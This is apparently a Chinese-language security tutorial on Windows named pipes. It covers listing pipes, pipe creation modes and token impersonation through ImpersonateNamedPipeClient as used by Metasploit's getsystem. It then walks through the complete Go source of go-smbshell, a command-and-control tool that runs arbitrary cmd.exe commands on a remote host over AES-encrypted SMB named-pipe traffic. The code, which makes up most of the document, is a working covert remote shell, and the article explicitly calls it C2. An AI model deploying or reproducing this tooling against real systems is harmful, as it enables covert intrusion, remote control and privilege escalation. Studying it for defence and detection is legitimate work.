使用命名管道通讯的命令执行工具
管道简述
管道并不是什么新鲜事物,它是一项古老的技术,可以在很多操作系统(Unix、Linux、Windows 等)中找到,其本质是是用于进程间通信的共享内存区域,确切的的说应该是线程间的通信方法(IPC)。
顾名思义,管道是一个有两端的对象。一个进程向管道写入信息,而另外一个进程从管道读取信息。进程可以从这个对象的一个端口写数据,从另一个端口读数据。创建管道的进程称为管道服务器(Pipe Server),而连接到这个管道的进程称为管道客户端(Pipe Client)。
在 Windows 系统中,存在两种类型的管道: “匿名管道”(Anonymous pipes)和“命名管道”(Named pipes)。匿名管道是基于字符和半双工的(即单向);命名管道则强大的多,它是面向消息和全双工的,同时还允许网络通信,用于创建客户端/服务器系统。
这两种管道的主要区别:
命名管道:可用于网络通信;可通过名称引用;支持多客户端连接;支持双向通信;支持异步重叠 I/O 。
匿名管道:单向通信,只能本地使用。由于匿名管道单向通信,且只能在本地使用的特性,一般用于程序输入输出的重定向,如一些后门程序获取 cmd 内容等等,在实际攻击过程中利用不过,因此就不过多展开讨论,有兴趣可以自行检索相关信息。
命名管道
定义与特点命名管道是一个具有名称,可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信管道。
命名管道的所有实例拥有相同的名称,但是每个实例都有其自己的缓冲区和句柄,用来为不同客户端提供独立的管道。
任何进程都可以访问命名管道,并接受安全权限的检查,通过命名管道使相关的或不相关的进程之间的通讯变得异常简单。
用命名管道来设计跨计算机应用程序实际非常简单,并不需要事先深入掌握底层网络传送协议(如 TCP、UDP、IP、IPX)的知识。这是由于命名管道利用了微软网络提供者(MSNP)重定向器通过同一个网络在各进程间建立通信,这样一来,应用程序便不必关心网络协议的细节。
任何进程都可以成为服务端和客户端双重角色,这使得点对点双向通讯成为可能。在这里,管道服务端进程指的是创建命名管道的一端,而管道客户端指的是连接到命名管道某个实例的一端。
总结一下:
1.命名管道的名称在本系统中是唯一的。
2.命名管道可以被任意符合权限要求的进程访问。
3.命名管道只能在本地创建。
4.命名管道是双向的,所以两个进程可以通过同一管道进行交互。
5.多个独立的管道实例可以用一个名称来命名。例如几个客户端可以使用名称相同的管道与同一个服务器进行并发通信。
6.命名管道的客户端可以是本地进程(本地访问:\.pipePipeName)或者是远程进程(访问远程: \ServerName\pipePipeName)。
7.命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯。
查看管道列表
在 windows 系统中,列出管道列表的方法有很多。这里列举几种常见的查看方式。
powershell
使用 powershell 列出管道列表需要区分版本,V3 以下版本的 powershell 只能使用:
[System.IO.Directory]::GetFiles('\\.\\pipe\\')
V3 及以上版本的 powershell 还可以使用:
Get-ChildItem \\.\pipe\
chrome
使用 chrome 查看管道列表,只需在地址栏输入,注:部分系统可能不支持 chrome 查看管道列表
file://.//pipe//
其他工具
可以使用Process Explorer的Find-Find Handle or DLL功能查找名为DeviceNamedPipe
或者还可以使用 Sysinternals 工具包中的 pipelist.exe 等工具。
在windows 中命名管道的通信方式是:
1.创建命名管道 --> 2.连接命名管道 --> 3.读写命名管道
创建
管道服务器无法在另一台计算机上创建管道,因此 CreateNamedPipe 必须使用句点.作为服务器名称,如以下示例所示。
\\.\pipe\PipeName
管道名称字符串可以包含反斜杠以外的任何字符,包括数字和特殊字符。整个管道名称字符串最多可以包含 256 个字符。管道名称不区分大小写。
服务端的整个创建过程如下:
(一)服务端进程调用 CreateNamedPipe 函数来创建一个有名称的命名管道,在创建命名管道的时候必须指定一个命名管道名称(pipe name)。
因为 Windows 允许同一个本地的命名管道名称有多个命名管道实例,所以,服务器进程在调用 CreateNamedPipe 函数时必须指定最大允许的实例数(0 -255),如果 CreateNamedPipe 函数成功返回后,服务器进程得到一个指向一个命名管道实例的句柄。
(二)然后,服务器进程就可以调用 ConnectNamedPipe 来等待客户的连接请求,这个 ConnectNamedPipe 既支持同步形式,又支持异步形式,若服务器进程以同步形式调用 ConnectNamedPipe 函数,(同步方式也就是如果没有得到客户端的连接请求,则会一直等到有客户端的连接请求)那么,当该函数返回时,客户端与服务器之间的命名管道连接也就已经建立起来了。
(三)在已经建立了连接的命名管道实例中,服务端进程就会得到一个指向该管道实例的句柄,这个句柄称之为服务端句柄。
管道的访问方式相当于指定管道服务端句柄的读写访问,下表列出了可以使用 CreateNamedPipe 指定的每种访问方式的等效常规访问权限:
如果管道服务器使用 PIPE_ACCESS_INBOUND 创建管道,则该管道对于管道服务器是只读的,对于管道客户端是只写的。
如果管道服务器使用 PIPE_ACCESS_OUTBOUND 创建管道,则该管道对于管道服务器是只写的,对于管道客户端是只读的。
用 PIPE_ACCESS_DUPLEX 创建的管道对于管道服务器和管道客户端都是可以读/写的。
同时,管道客户端使用 CreateFile 函数连接到命名管道时必须在 dwDesiredAccess 参数中指定一个和管道服务端(创建管道时指定的访问模式)相兼容的访问模式。
例如,当管道服务端创建管道时指定了 PIPE_ACCESS_OUTBOUND 访问模式,那么,管道客户端就必须指定 GENERIC_READ 访问模式。
更多内容内容可以参考,微软官方说明:
https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-open-modes
模拟令牌
命名管道还有一种常用的操作,就是通过模拟令牌,达到提权的目的。大家都用过msf里面的getsystem命令,其中就有一个模块支持通过模拟令牌从本地管理员权限提升到system权限。
我们首先需要了解如何模拟另一个用户。模拟是Windows提供的一种方法,在该方法中,进程可以模拟另一个用户的安全内容。例如,如果FTP服务器的进程允许用户进行身份验证,并且只希望允许访问特定用户拥有的文件,则该进程可以模拟该用户帐户并允许Windows强制实施。
Windows提供了这样的API,ImpersonateNamedPipeClient API调用是getsystem模块功能的关键。
ImpersonateNamedPipeClient允许命名管道模拟客户端的服务器端。调用此函数时,命名管道文件系统会更改调用进程的线程,以开始模拟从管道读取的最后一条消息的安全内容。只有管道的服务器端可以调用此函数。
例如,如果属于“受害者”的进程连接并写入属于“攻击者”的命名管道,则攻击者可以调用ImpersonateNamedPipeClient模拟“受害者”的令牌,从而模拟该用户。进程必须拥有SeImpersonatePrivilege特权(身份验证后模拟客户端)。默认情况下,此特权仅对许多高特权用户可用
getsystem工作方式:
1.首先getsystem会创建一个新的windows服务,并以local system权限运行,在启动时连接到命名管道。
2.getsystem再产生一个进程,该进程创建一个命名管道并等待服务的连接。
3.Windows服务启动并连接到产生的进程的命名管道。
4.进程接收连接,并调用ImpersonateNamedPipeClient,通过模拟令牌获取system权限。
Go实现命名管道流量通信源码学习
这个项目是通过命名管道来进行流量传输,并且是通过AES来对流量加密。
https://github.com/neox41/go-smbshell
目录结构如下:
- agent
- agent.go #定义了两个方法,一个是Connect用来连接服务器
Command用来连接成功之后进行命令执行。
- cmd
- client
- main.go # 客户端入口
- server
- main.go # 服务端入口
- config
- config.go # 定义了aes加密的key 和 PipeName
- exec
- command.go # 用来执行命令,调用os/exec来执行系统命令
- listener
- smb.go # 实现了服务端进行命名管道监听
- transport
- communication.go # 实现了AES加密,传入msg和key即可
- vendor
- github.com
- mervick
- aes-everywhere
- gopkg.in
- natefinch
- npip.v2 #这个是实现了pipe通讯的包
首先看config里面的config.go,这个比较简单,也就是定了PipeName和AES加密的Key
package config
// 定义PipeName 为 gopipe
const (
PipeName = 'gopipe'
)
//这个是定义aes的key
var (
Key string
)
transport 包里面的communication.go,这个是对传送的消息进行AES256加密,这里调用了github里面aes-everywhere的这个包,用法如下。对于Go原生的AES加密,这个只要传入明文密文加Key即可对其加解密。
https://github.com/mervick/aes-everywhere
import 'github.com/mervick/aes-everywhere/go/aes256'
// encryption
encrypted := aes256.Encrypt('TEXT', 'PASSWORD')
// decryption
decrypted := aes256.Decrypt(encrypted, 'PASSWORD')
communication.go里面的实现就是调用config并且把config.Key作为Key传入到Decoder/Encoder进行加解密。
package transport
import (
'go-smbshell/config'
'github.com/mervick/aes-everywhere/go/aes256'
)
// 对传输的流量进行AES加密,这个方法是调用aes-everywhere来调用 aes256 加密,传入message和key即可
func Decoder(encodedMessage string) (cleartextMessage string) {
cleartextMessage = aes256.Decrypt(encodedMessage, config.Key)
return
}
func Encoder(cleartextMessage string) (encodedMessage string) {
encodedMessage = aes256.Encrypt(cleartextMessage, config.Key)
return
}
exec包里面的 command.go 实现了Shell方法,调用os/exec来执行命令并且输出出来。
package exec
import (
'os/exec'
)
// 定义 Shell执行命令,连接成功之后就可以调用这个方法来执行命令
func Shell(args string) string {
cmd := exec.Command('cmd.exe', '/c', args)
out, err := cmd.CombinedOutput()
if err != nil {
return err.Error()
}
return string(out)
}
listener 包 里面的 smb.go 实现了服务端进行命名管道监听和对连接来的客户端进行处理,并且需要。这里实现命名管道通讯是调用了npipe,github地址如下。
https://github.com/natefinch/npipe
在官方文档的例子中,有写出建立监听的代码。和网络编程差不多,这里就是监听本地,并且带上PipeName即可,本地进程(本地访问:\.pipePipeName)。
npipe.Listen(`\\.\pipe\mypipename`)
监听功能创建服务器:
ln, err := npipe.Listen(`\\.\pipe\mypipename`)
if err != nil {
// handle error
}
for {
conn, err := ln.Accept()
if err != nil {
// handle error
continue
}
go handleConnection(conn)
}
源代码如下,本质上和网络编程的服务器方的代码编写差不多。
package listener
import (
'bufio'
'fmt'
'log'
'net'
'strings'
'go-smbshell/config'
'go-smbshell/exec'
'go-smbshell/transport'
'gopkg.in/natefinch/npipe.v2'
)
//开始监听pipe,这里只要加入PipeName即可,接下来的操作就和网络编程差不多了
func Start() error {
ln, err := npipe.Listen(fmt.Sprintf('\\\\.\\pipe\\%s', config.PipeName))
if err != nil {
return err
}
for {
log.Println('Wait for client...')
//使用pipe的Listen来进行监听并且等待客户端连接
conn, err := ln.Accept()
//如果连接不成功的话就会continue等待下一个连接
if err != nil {
log.Println(err.Error())
continue
}
defer ln.Close()
log.Println('Agent connected')
//连接成功之后就go一个匿名的协程来对客户端的反馈进行操作
go func() {
defer conn.Close()
for {
r := bufio.NewReader(conn)
commandE, err := r.ReadString('\n')
if err != nil {
continue
}
//介绍到客户端的请求数据并且对其进行解密
command := transport.Decoder(commandE)
log.Println(fmt.Sprintf('Asked to run: %s', command))
//如果命令是close的话就会推出程序
if command == 'close' {
break
}
//TrimSpace函数删除了Unicode定义的所有前和尾空格
command = strings.TrimSpace(command)
//对客户端返回回来的命令进行解密和处理之后在go一个协程来对其命令进行执行操作。
go func(conn net.Conn) {
output := exec.Shell(command)
//对服务器返回的命令执行结果进行加密,在放到conn里面进行发送
if _, err := fmt.Fprintln(conn, transport.Encoder(fmt.Sprintf('Output for %s:\n%s', command, output))); err != nil {
log.Println(err.Error())
}
}(conn)
}
}()
}
return nil
}
需要注意的是npipe.v2 包作者已经给出了相关的导入方法,所以这里的包分子是需要按照作者给出的gopkg.in/natefinch/npipe.v2 来进行创建在导入
agent包里面的agent.go,这个包是对客户的操作的实现。这个包的代码里面需要有调用npipe.Dial()方法。该方法是连接Pipe管道即远程进程(访问远程:\ServerName\pipePipeName)
npipe.Dial(fmt.Sprintf('\\\\%s\\pipe\\%s', target, config.PipeName))
当连接到了Pipe命名管道之后就会调用Command()方法来发送命令和获取命令。
package agent
import (
'bufio'
'fmt'
'go-smbshell/config'
'go-smbshell/transport'
'net'
'gopkg.in/natefinch/npipe.v2'
)
var (
Conn net.Conn
PipeName string
Target string
)
//使用 npipe 来进行连接通讯,流量都包裹在smb流量中,并且进行aes256加密
func Connect(target string) error {
var err error
// 连接方法就是 \\\\target\\pipe\\config.PipeName
// 例如\\\\192.168.1.110\\pipe\\config.PipeName,这个就是里面smb流量连接192.168.1.110
Conn, err = npipe.Dial(fmt.Sprintf('\\\\%s\\pipe\\%s', target, config.PipeName))
if err != nil {
return err
}
PipeName, Target = config.PipeName, target
return nil
}
func Command(command string) {
//利用Fprintln将加密之后的command放入到Conn中
if _, err := fmt.Fprintln(Conn, transport.Encoder(command)); err != nil {
fmt.Println(err.Error())
return
}
//从连接中获取数据,并且放入到output中。由于output是进行加密的,然后在进行解密即可。
r := bufio.NewReader(Conn)
output, err := r.ReadString('\n')
if err != nil {
fmt.Println(err.Error())
return
}
fmt.Println(transport.Decoder(output))
}
cmd包里面有server和client,这两个即使服务端和客户端了。下面就是客户端的源代码。首先需要在命令行传入两个参数,一个是连接的IP,一个就是AES加密的Key。接着在调用agent.Connect()方法来连接命名管道。
下面的这一行代码就是从os.Stdin 也就是终端输入中获取需要执行的命令。
reader := bufio.NewReader(os.Stdin)
接着下面的代码就是挺简单的了,拿到终端输入的需要执行的命令之后进行for循环,需要用户来循环操作进入一个交互式的模式,最后调用agent.Command()方法,该方法实现了发送和回显执行命令的结果。
package main
import (
'bufio'
'fmt'
'log'
'os'
'strings'
'go-smbshell/agent'
'go-smbshell/config'
)
func main() {
if len(os.Args) < 3 {
fmt.Println(fmt.Sprintf('Usage: %s', os.Args[0]))
os.Exit(1)
}
target := os.Args[1]
config.Key = os.Args[2]
if err := agent.Connect(os.Args[1]); err != nil {
log.Panic(err)
}
log.Println(fmt.Sprintf('Connected to %s', target))
reader := bufio.NewReader(os.Stdin)
for {
fmt.Print('cmd >> ')
userInput, _ := reader.ReadString('\n')
userInput = strings.TrimSpace(strings.Replace(userInput, '\n', '', -1))
if len(userInput) <= 1 {
continue
}
if userInput == 'exit' {
os.Exit(1)
}
agent.Command(userInput)
}
}
server包里面实现的就比较简单了,调用 listener.Start(),因为已经实现了监听和处理客户端请求了。只需要传入对于的AES加密的Key即可。
package main
import (
'fmt'
'log'
'os'
'go-smbshell/config'
'go-smbshell/listener'
)
func main() {
if len(os.Args) < 2 {
fmt.Println(fmt.Sprintf('Usage: %s', os.Args[0]))
os.Exit(1)
}
config.Key = os.Args[1]
log.Println('Starting the listener...')
if err := listener.Start(); err != nil {
log.Panic(err)
}
}
这样就已经实现完成了利用命名管道进行通讯的C/S架构的C2控制了。
不显示中文的话只需要切换重点的编码即可,输入chcp65001即可显示中文。
使用Wireshark来进行抓包可以查看到,他的流量其实走的都是SMB协议,并且他对里面执行的内容进行了AES加密。可以看到下图,这里有连接到命名管道,并且显示了连接的PipeName,这个在config.go里面定义为了gopipe